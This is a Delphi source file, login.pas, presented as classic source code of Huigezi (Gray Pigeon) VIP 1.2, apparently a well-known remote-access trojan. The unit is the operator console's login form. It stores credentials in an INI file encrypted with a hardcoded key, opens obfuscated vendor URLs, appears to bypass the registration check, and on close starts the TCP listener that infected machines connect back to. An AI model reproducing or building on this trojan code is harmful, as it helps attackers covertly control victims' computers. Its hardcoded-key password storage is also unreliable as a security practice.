login.pas

灰鸽子VIP1.2经典源代码

unit login;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Mask, SkinBoxCtrls, SkinCtrls, DynamicSkinForm,
  shellapi, IniFiles, ExtCtrls, SkinData, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
  EffectUtils, AnimationEffect, DESCrypt,LangFrm,WinInet;

type
  THuigezilogin = class(TLangForm)
    spDynamicSkinForm1: TspDynamicSkinForm;
    GroupBox1: TspSkinGroupBox;
    NameLabel: TspSkinStdLabel;
    PassLabel: TspSkinStdLabel;
    Button1: TspSkinButton;
    Button2: TspSkinButton;
    Label3: TspSkinLabel;
    Label1: TLabel;
    Label2: TLabel;
    Bevel1: TBevel;
    Bevel2: TBevel;
    RadioBox1: TspSkinCheckRadioBox;
    IdHTTP1: TIdHTTP;
    AnimationEffect1: TAnimationEffect;
    PassEdit: TspSkinPasswordEdit;
    UserEdit: TspSkinEdit;
    procedure Button1Click(Sender: TObject);
    procedure RadioZCClick(Sender: TObject);
    procedure RadioMFClick(Sender: TObject);
    procedure Label2Click(Sender: TObject);
    procedure Label1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure PassEditKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure UserEditKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Huigezilogin: THuigezilogin;

implementation

uses Main,ConfigServerUnit;

{$R *.dfm}




procedure Usertohttp;
begin
 HgzVip.Noisreg:=True;
end;

type
   THttpThread = class(TThread)
   public
      procedure  Execute; override;
   end;

procedure THttpThread.Execute;
begin
Usertohttp;
Terminate;
end;

procedure THuigezilogin.Button1Click(Sender: TObject);
var
INIFileName:String;
Myinifile: Tinifile;

begin


 if (UserEdit.Text='') or (PassEdit.Text='') then
   begin              // ='请正确填写注册用户信息!'
     Label3.Caption:=Translate('String0','请正确填写注册用户信息!');
     Exit;
   end;

try
  INIFileName := ExtractFilePath(Paramstr(0)) + 'Operate.ini';
  Myinifile := Tinifile.Create(INIFileName);
  if RadioBox1.Checked then
    begin
      Myinifile.writestring('Login', 'AutoLogin', '1');
      Myinifile.writestring('Login', 'User', UserEdit.Text);
      Myinifile.writestring('Login', 'Pass', EnCryptStr(PassEdit.Text,'HUIGEZI'));
    end else begin
      Myinifile.writestring('Login', 'User', UserEdit.Text);
      Myinifile.writestring('Login', 'Pass', '');
      Myinifile.writestring('Login', 'AutoLogin', '0');
    end;
    Myinifile.free;
except
end;

THttpThread.Create(false);
 
Close;
end;

procedure THuigezilogin.RadioZCClick(Sender: TObject);
begin
UserEdit.Enabled:=True;
PassEdit.Enabled:=True;
NameLabel.Enabled:=True;
PassLabel.Enabled:=True;
end;

procedure THuigezilogin.RadioMFClick(Sender: TObject);
begin
UserEdit.Enabled:=False;
PassEdit.Enabled:=False;
NameLabel.Enabled:=False;
PassLabel.Enabled:=False;
end;

procedure THuigezilogin.Label2Click(Sender: TObject);
begin                                                                //'http://www.huigezi.org/login/editpass.asp'
ShellExecute(0, 'open', pchar(DeCryptStr('487D6CB4BADFCCE3314D70B78C37E4A13596796D33625E130E56B0795AEB9969BA5F491BBFC053BAB6B34EEFADFB1C0E',Head)), nil, nil, SW_SHOWMAXIMIZED);
end;

procedure THuigezilogin.Label1Click(Sender: TObject);
begin
ShellExecute(0, 'open', pchar(DeCryptStr('487D6CB4BADFCCE3314D70B78C37E4A1367F17AAC590902470C68ADF74204068',Head)), nil, nil, SW_SHOWMAXIMIZED);
end;

procedure THuigezilogin.Button2Click(Sender: TObject);
begin
 Application.Terminate;
end;

procedure THuigezilogin.PassEditKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
try
if (Key = 13)then
 begin
    Key:=0;
    Button1Click(self);
 end;
except
end;
end;

procedure THuigezilogin.UserEditKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
try
if (Key = 13)then
 begin
    Key:=0;
    PassEdit.SetFocus;
 end;
except
end;
end;


procedure THuigezilogin.FormCreate(Sender: TObject);
var
INIFileName:String;
Myinifile: Tinifile;
Temp:String;
begin
try
  INIFileName := ExtractFilePath(Paramstr(0)) + 'Operate.ini';
  Myinifile := Tinifile.Create(INIFileName);
  Temp:=Myinifile.Readstring('Login', 'AutoLogin', '0');
  UserEdit.Text:=Myinifile.Readstring('Login', 'User', '');
  if Temp<>'0' then
    begin
      PassEdit.Text:=DeCryptStr(Myinifile.Readstring('Login', 'Pass', ''),'HUIGEZI');
      RadioBox1.Checked:=True;
    end;
  Myinifile.free;
except
end;
end;


procedure THuigezilogin.FormClose(Sender: TObject;
  var Action: TCloseAction);
var
AutoSxport:integer;
Myinifile: Tinifile;
begin

  AutoSxport:=80;
  try
    Myinifile := Tinifile.Create(ExtractFilePath(Paramstr(0)) + 'Operate.ini');
    if FileExists(ExtractFilePath(Paramstr(0)) + 'Operate.ini') then
      begin
        AutoSxport :=Strtoint(Myinifile.Readstring('LocalPort', 'AutoSxport', '80'));
      end;
    Myinifile.Free;
  except
  end;
  try
    HgzVip.IdTCPServer1.Active := False;
    HgzVip.IdTCPServer1.DefaultPort := AutoSxport;
    HgzVip.IdTCPServer1.Active := True;
  except                 //打开本地XXX端口失败！你不能使用自动上线功能!
    HgzVip.AddLineStr(Translate('String1','打开自动上线端口失败！你不能使用自动上线功能!'), 2, False);
  end;
end;

end.